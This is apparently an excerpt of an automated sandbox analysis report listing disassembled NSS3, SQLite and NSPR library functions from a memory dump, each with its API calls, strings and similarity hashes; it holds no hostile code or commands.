Opcode Fuzzy Hash: 1ad5d5092f2fc6bcf710ba531aa5cf200636dac7c0fc7962a06a5d9dccd6648a
Instruction Fuzzy Hash: 3F51D0B1E912158BEF40DF58DC857AE77B8BB0734CF244525D815A3B10D339A94ACBD2

Function 6CE6ADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6CE6ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE6AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE6AE29

Part of subcall function 6CF4D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF4D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE6AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CE6AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE6AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6CE6AEA0

Strings

hKey = 0x%x, xrefs: 6CE6AE62, 6CE6AE72
(CK_INVALID_HANDLE), xrefs: 6CE6AE1F, 6CE6AE80
hSession = 0x%x, xrefs: 6CE6AE01, 6CE6AE11
C_MessageSignInit, xrefs: 6CE6ADE1

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: 2cebf9e2a46e968f0aa3c58e147f80932c4f45ccb592e0aac973be1256363a49
Instruction ID: 43fc7999cd1cd64d60de3369801ed95790c9e2b0945a8780cc85a6fad099848f
Opcode Fuzzy Hash: 2cebf9e2a46e968f0aa3c58e147f80932c4f45ccb592e0aac973be1256363a49
Instruction Fuzzy Hash: 8D314831EA0114ABCF00DF15DC88FAA3775AF4630CF544429E5089BF52DB319C98CB92

Function 6CE69EE0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptInit), ref: 6CE69F06
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE69F37
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE69F49

Part of subcall function 6CF4D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF4D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE69F5F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CE69F98
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE69FAA
PR_LogPrint.NSS3(?,00000000), ref: 6CE69FC0

Strings

hKey = 0x%x, xrefs: 6CE69F82, 6CE69F92
(CK_INVALID_HANDLE), xrefs: 6CE69F3F, 6CE69FA0
C_MessageEncryptInit, xrefs: 6CE69F01
hSession = 0x%x, xrefs: 6CE69F21, 6CE69F31

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptInit
API String ID: 332880674-1139731676
Opcode ID: 456dbc8ebf191c98f3c9d54b666a3c01b08f84784584578a864fd24b0e97b677
Instruction ID: 1ed2632002bf05505ad7157060df5a24a06685a41febf219b1fc61d6cd1bbdfc
Opcode Fuzzy Hash: 456dbc8ebf191c98f3c9d54b666a3c01b08f84784584578a864fd24b0e97b677
Instruction Fuzzy Hash: CD314631A61204ABCF40DF15DC89BBE3B75AB4631CF158428F508ABF52DB319858CB91

Function 6CF04C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CF04CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CF04CFD
sqlite3_value_text16.NSS3(?), ref: 6CF04D44

Strings

invalid, xrefs: 6CF04CF1
no more rows available, xrefs: 6CF04D2E
unknown error, xrefs: 6CF04D56
out of memory, xrefs: 6CF04C78, 6CF04C9E
bad parameter or other API misuse, xrefs: 6CF04D05
another row available, xrefs: 6CF04D20
abort due to ROLLBACK, xrefs: 6CF04D27, 6CF04D33
API call with %s database connection pointer, xrefs: 6CF04CF6

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 92817c27a0279d1591d63eb105247e1785a26ff7e5db64e7a307747e7d2905f3
Instruction ID: d20583f3ed5dee5fa3721affa647adf5d68b82e7ec7be45695357beafd5fc1eb
Opcode Fuzzy Hash: 92817c27a0279d1591d63eb105247e1785a26ff7e5db64e7a307747e7d2905f3
Instruction Fuzzy Hash: 5031AAB3F06850A7DB144625A8307E5BF3177A3F19F158129CC244BE54C721AC21E3E2

Function 6CE62DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6CE62DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE62E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE62E33

Part of subcall function 6CF4D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF4D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE62E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CE62E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CE62E81

Strings

pPin = 0x%p, xrefs: 6CE62E63
(CK_INVALID_HANDLE), xrefs: 6CE62E2C
hSession = 0x%x, xrefs: 6CE62E0E, 6CE62E1E
ulPinLen = %d, xrefs: 6CE62E7C
C_InitPIN, xrefs: 6CE62DF1

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: 8b40be03d2a68fb3963eb79439a92c999df2a0e7966d77685f435b1117ccac88
Instruction ID: 108157109441c6fa9aa0ae795f92ca70680683fbd8010f3a1ab652aad19044e7
Opcode Fuzzy Hash: 8b40be03d2a68fb3963eb79439a92c999df2a0e7966d77685f435b1117ccac88
Instruction Fuzzy Hash: 31312171E61104ABDF048F15DC4CB8A3BB1EB6631CF148029E908A7B52DB329D58CBA2

Function 6CE66EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6CE66F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE66F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE66F53

Part of subcall function 6CF4D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF4D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE66F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CE66F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CE66FA1

Strings

(CK_INVALID_HANDLE), xrefs: 6CE66F4C
hSession = 0x%x, xrefs: 6CE66F2E, 6CE66F3E
ulPartLen = %d, xrefs: 6CE66F9C
pPart = 0x%p, xrefs: 6CE66F83
C_DigestUpdate, xrefs: 6CE66F11

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: cadba370b49b3233b118b4d91e7112d1bfca49cd6022a6867c29aff83fd4fed2
Instruction ID: 47c6608856fb6bae2af3e4a80c32795a210f094bc6a27a5ad3893e28d44ec8d4
Opcode Fuzzy Hash: cadba370b49b3233b118b4d91e7112d1bfca49cd6022a6867c29aff83fd4fed2
Instruction Fuzzy Hash: 6031E235A71100AFDF409F25DC49B9A3BB5EB4631CF594429E808A7F12DB329D58CBE1

Function 6CE67E00 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyUpdate), ref: 6CE67E26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE67E54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE67E63

Part of subcall function 6CF4D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF4D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE67E79
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CE67E98
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CE67EB1

Strings

(CK_INVALID_HANDLE), xrefs: 6CE67E5C
hSession = 0x%x, xrefs: 6CE67E3E, 6CE67E4E
ulPartLen = %d, xrefs: 6CE67EAC
pPart = 0x%p, xrefs: 6CE67E93
C_VerifyUpdate, xrefs: 6CE67E21

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_VerifyUpdate
API String ID: 1003633598-2508624608
Opcode ID: 60e1249831d6f7c9deeb69a7ec55e0cf883102c93c4934e4278e657acba227df
Instruction ID: 6334b6c674b2b8cd9756bf9f6dc3131485d8eb9660bf844b47ac5199c9f98dad
Opcode Fuzzy Hash: 60e1249831d6f7c9deeb69a7ec55e0cf883102c93c4934e4278e657acba227df
Instruction Fuzzy Hash: 4431F135E61104ABDB009F65DD48F8A3BB1AB4231CF554029E90897F12DB319D5CCBA1

Function 6CE67F30 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyFinal), ref: 6CE67F56
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE67F84
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE67F93

Part of subcall function 6CF4D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF4D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE67FA9
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CE67FC8
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6CE67FE1

Strings

ulSignatureLen = %d, xrefs: 6CE67FDC
(CK_INVALID_HANDLE), xrefs: 6CE67F8C
C_VerifyFinal, xrefs: 6CE67F51
hSession = 0x%x, xrefs: 6CE67F6E, 6CE67F7E
pSignature = 0x%p, xrefs: 6CE67FC3

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pSignature = 0x%p$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_VerifyFinal
API String ID: 1003633598-3315179127
Opcode ID: d9c1d1ada2d54d79bf443ce52cd70ed3eb203ce42b88ef2997ad70dc8400234e
Instruction ID: 72e0c8f364d6a5fe1a7780cc63ec40134171d8ca52292eed0e10da78c6286dc0
Opcode Fuzzy Hash: d9c1d1ada2d54d79bf443ce52cd70ed3eb203ce42b88ef2997ad70dc8400234e
Instruction Fuzzy Hash: A9310231A61104AFEF40DF15DC49F9A3BB1AF4231DF598425E80897F12DB329998CBE2

Function 6CF02D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CF02D9F

Part of subcall function 6CDBCA30: EnterCriticalSection.KERNEL32(?,?,?,6CE1F9C9,?,6CE1F4DA,6CE1F9C9,?,?,6CDE369A), ref: 6CDBCA7A
Part of subcall function 6CDBCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CDBCB26

sqlite3_exec.NSS3(?,?,6CF02F70,?,?), ref: 6CF02DF9
sqlite3_free.NSS3(00000000), ref: 6CF02E2C
sqlite3_free.NSS3(?), ref: 6CF02E3A
sqlite3_free.NSS3(?), ref: 6CF02E52
sqlite3_mprintf.NSS3(6CF6AAF9,?), ref: 6CF02E62
sqlite3_free.NSS3(?), ref: 6CF02E70
sqlite3_free.NSS3(?), ref: 6CF02E89
sqlite3_free.NSS3(?), ref: 6CF02EBB
sqlite3_free.NSS3(?), ref: 6CF02ECB
sqlite3_free.NSS3(00000000), ref: 6CF02F3E
sqlite3_free.NSS3(?), ref: 6CF02F4C

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 7d703f9b9d92c73392c8c194dd7151189b8bc9fc0d62c6329974bc2b8cbb1907
Instruction ID: 886a598047670294775544ba5a717c02134e6ff925f536b0e45644e26386999b
Opcode Fuzzy Hash: 7d703f9b9d92c73392c8c194dd7151189b8bc9fc0d62c6329974bc2b8cbb1907
Instruction Fuzzy Hash: 2F615AB5F016058BEB00CF68D894BDEB7B5AF59748F144028EC15A7711E732E845DBB1

Function 6CE47C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CF92120,Function_00097E60,00000000,?,?,?,?,6CEC067D,6CEC1C60,00000000), ref: 6CE47C81

Part of subcall function 6CDB4C70: TlsGetValue.KERNEL32(?,?,?,6CDB3921,6CF914E4,6CEFCC70), ref: 6CDB4C97
Part of subcall function 6CDB4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CDB3921,6CF914E4,6CEFCC70), ref: 6CDB4CB0
Part of subcall function 6CDB4C70: PR_Unlock.NSS3(?,?,?,?,?,6CDB3921,6CF914E4,6CEFCC70), ref: 6CDB4CC9

TlsGetValue.KERNEL32 ref: 6CE47CA0
EnterCriticalSection.KERNEL32(?), ref: 6CE47CB4
PR_Unlock.NSS3 ref: 6CE47CCF

Part of subcall function 6CEDDD70: TlsGetValue.KERNEL32 ref: 6CEDDD8C
Part of subcall function 6CEDDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEDDDB4

TlsGetValue.KERNEL32 ref: 6CE47D04
EnterCriticalSection.KERNEL32(?), ref: 6CE47D1B
realloc.MOZGLUE(-00000050), ref: 6CE47D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE47DF4
PR_Unlock.NSS3 ref: 6CE47E0E

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: a0f6e8a6462d8ec77e31728091a7538c1220ad37bfc187bdfd4b0274524fa05c
Instruction ID: 55ab93b01e122bb37b827ae7be3f403ab3419dbd9788137a5ef0d5fd16177015
Opcode Fuzzy Hash: a0f6e8a6462d8ec77e31728091a7538c1220ad37bfc187bdfd4b0274524fa05c
Instruction Fuzzy Hash: 5751D475E251009FDF40AF28EC84B6577B5EB4731CF368229ED0587722EB31A8A5CAD1

Function 6CDB4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CDB3921,6CF914E4,6CEFCC70), ref: 6CDB4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6CDB3921,6CF914E4,6CEFCC70), ref: 6CDB4CB0
PR_Unlock.NSS3(?,?,?,?,?,6CDB3921,6CF914E4,6CEFCC70), ref: 6CDB4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6CDB3921,6CF914E4,6CEFCC70), ref: 6CDB4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CDB3921,6CF914E4,6CEFCC70), ref: 6CDB4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CDB3921,6CF914E4,6CEFCC70), ref: 6CDB4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CDB3921,6CF914E4,6CEFCC70), ref: 6CDB4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CDB3921,6CF914E4,6CEFCC70), ref: 6CDB4D97
PR_Lock.NSS3(?,?,?,?,?,6CDB3921,6CF914E4,6CEFCC70), ref: 6CDB4DBA
PR_WaitCondVar.NSS3 ref: 6CDB4DD4
PR_Unlock.NSS3(?,?,?,?,?,6CDB3921,6CF914E4,6CEFCC70), ref: 6CDB4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CDB3921,6CF914E4,6CEFCC70), ref: 6CDB4DEF

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 1c323ab705debd5f6fd2f3dab16ac9572976027f680ca6e64182693b1aaca17d
Instruction ID: 56c2a449721772d29b069784d84654500803b47bd386f7f8cf2bbe28d5c211b6
Opcode Fuzzy Hash: 1c323ab705debd5f6fd2f3dab16ac9572976027f680ca6e64182693b1aaca17d
Instruction Fuzzy Hash: 7441BCB5E14604CFCF40EF79C488269BBB4BF06318F158639D899AB720E730E885CB81

Function 6CF47CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CF47CE0

Part of subcall function 6CEF9BF0: TlsGetValue.KERNEL32(?,?,?,6CF40A75), ref: 6CEF9C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF47D36
PR_Realloc.NSS3(?,00000080), ref: 6CF47D6D
PR_GetCurrentThread.NSS3 ref: 6CF47D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6CF47DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF47DD8
malloc.MOZGLUE(00000080), ref: 6CF47DF8
PR_GetCurrentThread.NSS3 ref: 6CF47E06

Strings

:%s:%d:0x%lx, xrefs: 6CF47DB9
NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6CF47DF0

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: cf77afb9692857927d5541af7ce45ab102cd115b85f76553c69a6195c1147080
Instruction ID: b5d5eb9b4542216f2521350161426452b2b330dcb1fb8cc0909c498177fa5af7
Opcode Fuzzy Hash: cf77afb9692857927d5541af7ce45ab102cd115b85f76553c69a6195c1147080
Instruction Fuzzy Hash: 5941C8B15102019FDB04CF29CC90E6B3FB6FF84318B25856DE8199BB52D731E945CB91

Function 6CF47E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF47E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6CF47E46

Part of subcall function 6CE21240: TlsGetValue.KERNEL32(00000040,?,6CE2116C,NSPR_LOG_MODULES), ref: 6CE21267
Part of subcall function 6CE21240: EnterCriticalSection.KERNEL32(?,?,?,6CE2116C,NSPR_LOG_MODULES), ref: 6CE2127C
Part of subcall function 6CE21240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE2116C,NSPR_LOG_MODULES), ref: 6CE21291
Part of subcall function 6CE21240: PR_Unlock.NSS3(?,?,?,?,6CE2116C,NSPR_LOG_MODULES), ref: 6CE212A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6CF47EAF
PR_ImportFile.NSS3(?), ref: 6CF47ECF
PR_GetCurrentThread.NSS3 ref: 6CF47ED6
PR_ImportTCPSocket.NSS3(?), ref: 6CF47F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6CF47F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6CF47F15

Strings

%d:0x%lx, xrefs: 6CF47EA9
NSPR_INHERIT_FDS, xrefs: 6CF47E41

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
